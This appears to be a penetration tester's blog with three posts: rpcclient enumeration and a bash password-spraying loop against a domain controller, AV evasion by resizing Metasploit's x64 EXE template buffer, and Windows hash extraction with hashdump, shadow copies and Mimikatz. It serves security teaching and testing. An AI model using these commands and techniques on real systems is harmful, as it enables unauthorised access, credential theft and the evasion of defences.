Thursday, October 29, 2015

Password spraying and other fun with rpcclient

Many of us in the penetration testing community are used to scenarios whereby we land a targeted phishing campaign within a Windows enterprise environment and have that wonderful access into the world of Windows command line networking tools.    You get your shell and before you know it, you are ready to run all your favorite enumeration commands.   These are things like:
  • C:\> NET GROUP "Domain Administrators" /DOMAIN
and so on.   Not to mention that you often have all of the wealth of Metasploit post exploitation modules, and the many wonders of various PowerShell tools such as Veil, and PowerShell Empire.

Imagine a world where all you have is a Linux host available on an internal network with no backdoor shell access to any existing Windows system.    Imagine that world wherein you are effectively segmented away from the rest of the network and cannot even capture useful network traffic using interception techniques such as Ettercap.   This was indeed the case for me recently whereby all I could do was SSH into a single Linux host I controlled.

After having not been in this situation in some time, I paused a moment before recalling the wonderful world of Samba.   In particular there are two excellent, and useful programs in the Samba suite namely "rpcclient", and its friend "smbclient".   Also, let us not forget our favorite DNS utility called "dig".

My first task was to use available reconnaissance to make informed guesses as to what the internal domain name was likely to be.   There are a few different methods to think about here but the first thing was to play with "dig" to determine DNS information of use.    I can try to look up the Windows global catalog record, and authoritative domain server records to determine domain controller addresses.   Examples as follows:

# dig @ -t NS domain.corp
# dig @ _gc.domain.corp

This will only give me answers if I have predicted or determined the correct "domain.corp" name.

Now, luckily for me I had access to internal Nessus vulnerability report data and had determined that SMB NULL sessions were permitted to some hosts.   I matched up the data to my dig results and determined that the NULL sessions were actually corresponding to domain controller addresses.   My next task was to try and enumerate user and group information from the domain controllers with "rpcclient" only available to me.   I quickly determined by using the "man" page that rpcclient could indeed perform an anonymous bind as follows:

# rpcclient -U "" -N

whereby was the chosen address of the domain controller I could anonymously bind to.   After that command was run, "rpcclient" will give you the most excellent "rpcclient> " prompt.   At this point in time, if you can use anonymous sessions, then there are some very useful commands within the tool.
  1. Enumerate Domain Users

    rpcclient $> enumdomusers
    user:[Administrator] rid:[0x1f4]
    user:[Guest] rid:[0x1f5]
    user:[krbtgt] rid:[0x1f6]
    user:[jdoe] rid:[0x44f]
  2. Enumerate Domain Groups

    rpcclient $> enumdomgroups
    group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
    group:[Domain Admins] rid:[0x200]
    group:[Domain Users] rid:[0x201]
    group:[Domain Guests] rid:[0x202]
    group:[Domain Computers] rid:[0x203]
    group:[Domain Controllers] rid:[0x204]
  3. Query Group Information and Group Membership

    rpcclient $> querygroup 0x204
        Group Name:    Domain Controllers
        Description:    All domain controllers in the domain
        Group Attribute:7
        Num Members:1

    rpcclient $> querygroupmem 0x204
        rid:[0x3e8] attr:[0x7]
    1. Query Specific User Information (including computers) by RID.

      rpcclient $> queryuser 0x3e8
          User Name   :    WIN-LV721N9S64M$
          Full Name   :   
          Home Drive  :   
          Dir Drive   :   
          Profile Path:   
          Logon Script:   
          Description :   
          Comment     :   
          Remote Dial :
          Logon Time               :    Thu, 29 Oct 2015 19:21:28 EDT
          Logoff Time              :    Wed, 31 Dec 1969 19:00:00 EST
          Kickoff Time             :    Wed, 13 Sep 30828 22:48:05 EDT
          Password last set Time   :    Mon, 12 Oct 2015 00:12:11 EDT
          Password can change Time :    Tue, 13 Oct 2015 00:12:11 EDT
          Password must change Time:    Wed, 13 Sep 30828 22:48:05 EDT
          user_rid :    0x3e8
          group_rid:    0x204
          acb_info :    0x00002100
          fields_present:    0x00ffffff
          logon_divs:    168
          bad_password_count:    0x00000000
          logon_count:    0x00000834

      So in working with these basic commands, I was able to survey the landscape of Windows domain user, and group information pretty thoroughly.

      Another technique often used during a penetration test is called "Password Spraying".  This is a particularly effective technique whereby given a list of domain users, and knowledge of very common password use, the tester attempts to perform a login for every user in the list.   The technique is very effective given that you deliberately limit the list of passwords to try to a small number.   In fact a single password per spraying attempt is advisable for the sole reason that you really do not want to lock accounts.

      Before password spraying, it is very useful to determine the Windows domain password policy using a command such as "NET ACCOUNTS /DOMAIN" in the Windows world.   However given that we don't have a Windows shell available to us, rpcclient gives us the following options.

      rpcclient $> getdompwinfo
      min_password_length: 11
      password_properties: 0x00000000

      rpcclient $> getusrdompwinfo 0x44f
      min_password_length: 11
          &info.password_properties: 0x4b58bb34 (1264106292)
                 0: DOMAIN_PASSWORD_COMPLEX 

      At least we are able to determine the crucial information about the password length.  After I write this, I will probably work out how to decode the password properties and match them back to the appropriate information but I have not yet done that task.

      In order to perform a password spray attack, the next step is to pick a common password (such as "Autumn2015") and work out our technique on how to spray using "rpcclient".   Conveniently, "rpcclient" allows us to specify some commands on the command line which is very handy.    The follow two examples show a successful logon versus a failed logon.  (password of "bbb" is the correct logon)

      # rpcclient -U "jdoe%bbb" -c "getusername;quit" Name: jdoe, Authority Name: DOMAIN

      # rpcclient -U "jdoe%aaa" -c "getusername;quit"
      Cannot connect to server.  Error was NT_STATUS_LOGON_FAILURE

      In these examples, we specifically told "rpcclient" to run two commands, these being "getusername" and then "quit" to exit out of the client.   Now we have all of the ingredients to perform a password spraying attack.   All we need is a bourne/bash shell loop and we are off to the races.   Example of a simple shell script or command line to spray given that the "enumdomusers" output is in the "domain-users.txt" file would be as follows.

      # for u in `cat domain-users.txt`; do \
          echo -n "[*] user: $u" && \
          rpcclient -U "$u%Autumn2015" \
              -c "getusername;quit"

      You know that you are successful when you see the string "Authority" appear in the output.   Lack of success for each user is going to be the "NT_STATUS_LOGON_FAILURE" message.

      If you begin to get the "ACCOUNT_LOCKED" failure you should immediately stop your spray because you have likely sprayed too many times in a short period of time.  

      Assuming you have gained access to a credential, one of the additional nice things you can do is explore the SYSVOL using the "smbclient" program.   The syntax is as follows.

      $ smbclient -U "jdoe%bbb" \\\\domain.corp\\SYSVOL
      Domain=[HOME] OS=[Windows Server 2008 R2 Standard 7601 Service Pack 1] Server=[Windows Server 2008 R2 Standard 6.1]
      smb: \> ls
        .                                   D        0  Fri Dec 12 09:46:28 2014
        ..                                  D        0  Fri Dec 12 09:46:28 2014
        domain.corp                      D        0  Fri Dec 12 09:46:28 2014

              61337 blocks of size 1048576. 38567 blocks available

      I highly recommend getting familiar with the UNIX Samba suite and in particular these tools.   They quite literally saved by bacon over the past week and you could well be in the same boat needing these fun tools in your future also.

Modifying Metasploit x64 template for AV evasion

When performing a penetration of test of organizations with Windows desktops, many testers will now resort to using tools like Veil’s Powershell Empire in order to inject shellcode directly into memory.    Without doubt, this is a fantastic technique as it avoids writing to disk and running headlong into a direct hit by most endpoint protection solutions.

xkcd: The malware aquarium

It is often the the case that we want to perform some more thorough testing by using actual malware executables, and perhaps different command and control techniques during our test.   We want to vary our techniques in order to find out where the clipping threshold of defense technologies is set and be able to comprehensively report back on what techniques were effective on a system versus what techniques were not.   In most environments, the most commonly deployed endpoint protection technology is an Antivirus engine.   

Antivirus has become very effective at detecting off-the-shelf 32-bit malware executables from the Metasploit framework but tends to be lacking in the 64-bit arena.   Additionally, we find that network resident defenses are well-tuned to 32-bit second stage payloads from Metasploit but less capable of seeing a 64-bit second stage payload.    In my experience, the AV engines are not exclusively looking at the shellcode but also matching on the assembly code that constitutes the stub loader for Metasploit executables generated by the msfvenom command.

When Metasploit payloads are generated they use a standard template executable in both the 32-bit and 64-bit cases.  The standard templates are in the form of precompiled executables in the framework’s data directory.   In addition to the templates, the Metasploit project provides a source code directory in the framework.

Focusing specifically on Windows, we can find both the 32-bit template source in C and the 64-bit template source in assembly, both of which are in the “/usr/share/metasploit-framework/data/templates/src/pe/exe” directory on a KALI distribution.

In both the 32 and 64-bit cases, the template source has a very similar function.   It allocates a buffer of 4096 bytes in memory and puts the string “PAYLOAD:” at the beginning of this buffer.   The string “PAYLOAD:” is placed into the buffer as a constant that indicates a starting place for “msfvenom” to use when creating a new payload executable.

That starting place is an address in memory which msfvenom knows can be used to copy shellcode into.  The size of the available buffer for shellcode is the allocated buffer size in the template EXE minus eight (the length of the string “PAYLOAD:”).   Msfvenom will take the chosen payload, encode it with the appropriate encoder (if specified), and prepend no-operation (NOP) sled bytes if also chosen.

The final executable in the 32-bit case has been compiled from C source code.   In the C source code, the shellcode is called by casting the payload buffer to a pointer to a function (which has no function parameters).

The final executable in the 64-bit case has been compiled from assembly code.  The assembly code function allocates an executable buffer of memory, copies the shellcode into that memory, and executes it using a CALL instruction.  This is a very similar technique used by many different tools, including the awesome Powershell toys we all use.
 32-bit source code for EXE template

 64-bit assembly source code for EXE template

Armed with this knowledge, I decided to see how one single AV engine (Avast) reacted when I simply took the 64-bit executable template and copied it to a Windows system.   Note that I did not even put any shellcode payload into the EXE but only took the template itself.

It was not really surprising that Avast immediately triggered an alert.   Let's face it, matching on the assembly opcodes for the template is a pretty easy way of triggering an alert without having to actually examine the shellcode payload.

 Avast tells me this is bad!

Staying focused on the 64-bit case, there is absolutely no reason why I cannot recompile this assembly code and modify it as much or as little as I want to.   We only need to make sure that, at some point, it calls the two required bits of code to copy the payload into an executable memory segment we allocated and then executes it.

Case 1:  For my first level of fun, I simply recompiled the same source assembly code.   Not surprisingly, Avast flagged this.

Case 2: I changed the buffer length to 8192 bytes, and recompiled.  Nothing other than the buffer length was changed.   Avast completely failed this test by not flagging a single alert.  How do I know?  Well I compiled it on the system that Avast was also running.  Note that the instructions for compiling the assembly code are helpfully listed in the commands of the source code.

Last section of x64 assembly listing

Case 3: I modified all of the values in the assembly code to 8192, then took my newly generated executable template and created two different payloads with it.   One of the payloads used the 64-bit XOR encoding on the shellcode, while the other used no encoding at all.

I then copied the payload files to my Windows 7 machine running Avast.   I forced Avast to scan them, and they passed with flying colors!   Then I executed them and shell was mine.

With case 3, I was particularly amused at Avast’s DEEP SCAN, which seemed to indicate that it was looking really hard at what was going on!   But then, it told me that all was fine and the malware was happily executed.

New assembly source code listing with 8192 buffer length.

64-bit payload using new template, and no encoding.

64-bit payload using new template and XOR encoding

New payloads in a directory on the Windows system!

Go ahead and scan my directory...

I am safe, what a relief!

Oh no, I might get caught here!  Phew...
And now it’s shell time.


My theory and practical experience was that AV vendors are looking at the templates rather than the shellcode itself.   In this specific instance, we saw immediate success with only a minor assembly code modification and absolutely no encoding of a 64-bit shellcode payload.

Why choose Avast?  No specific reason other than I needed a solution in a hurry to execute my test.   I will be repeating the experiment with other AV engines to see what my mileage looks like.   There are many possible variations on this technique but like so much in life, it is better to start simple and ramp up as needed.    Happy hunting!

Tuesday, October 7, 2014

Post Exploitation, Metasploit and Windows Hashes

What is a Windows hash?

A Windows hash is a non-salted algorithmic encoding of a plaintext password.  Windows has used two different algorithms for hashing to date, the result being an  LAN Manager (LM) hash, or an NT hash.  In a Microsoft Windows network, NT LAN Manager (NTLM) is a suite of protocols used to provide authentication, integrity and confidentiality to users.  NTLM is the successor to LAN Manager (LANMAN), and attempts to provide backwards compatibility with LANMAN.

In the world of cryptography, salting is a known piece of additional random data that is “mixed in” as an additional input to the one way hashing function.   The advantage of salting is that the hashed representation of a password will never be the same for the same plaintext string.   Unfortunately this technique is not used with stored hashes in Windows.

The LANMAN hash is constructed as follows:
  • The plaintext password is padded with NULL characters to a length of fourteen bytes, and converted to all uppercase.
  • The resulting string is split into two seven character strings.  Each string is used as a key to encrypt the constant string value of “KGS!@#$%”. The data encryption standard (DES) algorithm is used for encryption.
  •  The resulting ciphertext is concatenated into a sixteen byte hash value.

The NT hash is constructed by using the MD4 hashing algorithm over the plaintext string.   A plaintext password, used to construct the NT hash, can be up to 256 characters in length with mixed case and special characters.  Unlike the LM hash, special characters, upper and lower case are all preserved with an NT hash.

How is a Windows hash passed across the network?

From a network transmission perspective, there are two different challenge response algorithms in use.   The LANMAN, and NTLMv1 algorithm operates as follows:
1)    Workstation client initiates authentication
2)    Server responds with a random challenge
3)    Client formulates and sends a response to the challenge by:
a)    Padding the LANMAN/NT hash to 21 bytes
b)    Splitting the hash into three seven character pieces
c)    Using each piece as a DES key to encrypt the server challenge.

NTLMv2 challenge/response is significantly more secure, and operates as follows:
1)    Workstation client initiates authentication
2)    Server responds with a random challenge
3)    Client formulates/sends a response by:
a)    Creating an HMAC-MD5 string using the username, domain name, and NT hash as a key.  This result is called the NTLMv2 one way function (OWF)
b)    Combining the HMAC-MD5 string, server challenge, timestamp, and client challenge into a response. 

Obtaining Hashes during a Penetration Test

In a post exploitation scenario, and assuming you have administrative access, it is useful to be able to retrieve the hashed representation of passwords. Windows hashed passwords are stored in the Security Accounts Manager (SAM) registry hive which is a file named “%SystemRoot%\System32\Config\SAM”.   By default, the SAM file is locked on a running system, and inaccessible to all users including administrative users.  If an NT file system recovery was performed in the past, and the Administrator has not removed the backup data, you might be able to find the SAM file in the “%SystemRoot%\repair” directory.

Since you cannot read the file directly on the disk volume, there are a few alternative tricks to get hold of the data.   The local security authentication sub-system process (LSASS.EXE) on a running windows system reads this data and caches it in memory.

Method 1: Meterpreter “hashdump” command 

The hashdump command is an in-memory version of “pwdump”.   Hashdump allocates memory inside the LSASS process, injects assembly code, and executes it using the CreateThread() function.   The injected assembly code is designed to read the hashes out of LSASS memory, and print them out.   No files are written to disk, thus detecting the technique without using memory forensic techniques is difficult.

In January, 2010, HD Moore noted that Anti-Virus, and host intrusion prevention (HIPS) vendors had developed techniques to detect the API calls made by the meterpreter hashdump command, and block the calls.   In the process of detection however, LSASS will often crash leading to system instability.

Method 2: Meterpreter “hashdump” post module

The hashdump post module (post/windows/gather/hashdump.rb) uses a registry based technique to directly access the SYSKEY, and decrypt the raw LANMAN, and NT hashes.      The significant advantage of this technique is that there is no in-memory manipulation of LSASS with its potential for instability.

The caveat is that a SYSTEM token is required to use the technique.  An account in the local administrators group does not have read access to the SAM registry tree that contains the hashes.   If you have exploited a system service, or perhaps something like a DCERPC vulnerability, you are in great shape.   Alternatively you can consider migrating your meterpreter to a service process, or load the incognito module, and impersonate a token.

Method 3: Meterpreter “smart_hashdump” post module

Carlos Perez improved further on the hash extraction techniques in the sense of automating some of the additional steps, and logic required before the actual hashes are extracted.   The “smart_hashdump” post module works as follows:

  • Determine the privilege level, operating system, and test if the target is a domain controller
  •  If you have the right privileges, specifically a SYSTEM token, smart_hashdump will read the hashes from the SAM registry hive.
  • If the system is a Domain Controller, smart_hashdump will always inject assembly code into LSASS to obtain hashes.
  • If the target is a Windows 2008 server, and the process has administrative privileges, smart_hashdump will:
    • Attempt to gain SYSTEM by using “getsystem”.
    • If it fails to get system, smart_hashdump will attempt to automatically migrate to a process that has system privileges.
    • Inject the LSASS process with assembly code to dump the hashes
  • If the target is a Windows 7+ system with UAC disabled and the process has administrative privileges, smart_hashdump will run “getsystem” and use the registry reading method.If the target is a Windows 2000/2003/XP system, “getsystem” will be used followed by the registry reading method.
The take home point with “smart_hashdump” is that it will do the work for you to obtain SYSTEM privilege and prefer reading the SAM registry hive if at all possible.  The downside with this and all methods, is that within the context of a Domain Controller, you are still required to inject assembly code into LSASS in order to obtain hashes.   As pointed out above, this is a dangerous technique and can result in a crash which your client would certainly not appreciate.

Method 4: Extract hashes from Volume Shadow Copies of the file system

In 2011, Tim Tomes, and Mark Baggett were performing research on the topic of hiding malware in Volume Shadow Copies.   As a result of this work, they realized that by creating a volume shadow copy, or using a pre-existing volume shadow copy, the NTDS.DIT, SAM and SYSTEM files could be directly copied from a running system.

In summary, the process involves:
      Creating a volume shadow copy using system tool “vssadmin” or Tim’s visual basic script called “Vssown.vbs”
      Downloading the NTDS.DIT, SAM, and SYSTEM files
      Downloading and compiling tools from
      Using esedbdumphash to extract the database from NTDS.DIT
      Using, or bkhive2, and samdump2 to dump hashes.

The largest single advantage with using an offline method to extract hashes after copying from a volume shadow is the fact that you do not have to inject anything into the LSASS process on a running domain controller.   The disadvantage is that in a larger environment, you are faced with exfiltrating some potentially large files, and downloading them for analysis.  It is possible that network defenders might detect the network activity of a large data transfer, and/or a large file being written to disk on a workstation.

Choosing the right tool for the job

Which method of hash extraction you decide to use depends on the context of your test.  If you are dealing with an individual system that is not a domain controller, then the “smart_hashdump” module is a good solid choice.   If you are working with host based IPS or Anti-Virus that is detecting LSASS injection attempts, you are taking a significant risk when injecting assembly into this process.   In the context of a domain controller, a volume shadow copy extraction is the best approach to ensure stability.   It is apparent that the original LSASS injection process in meterpreter can be risky, and should probably be avoided.
While this article focuses on hashes, it would be remiss not to mention that LSASS also caches some plaintext data for other security service providers.  These include WDigest for HTTP authentication, Kerberos, and Terminal Services.  If you have administrative access on a local system, LSASS plaintext security service provider memory can be accessed using the Mimikatz or Kiwi extensions enabling the extraction of plaintext information to screen.  Kiwi can be thought of as the upgraded (version 2) release of Mimikatz and includes some excellent new functionality.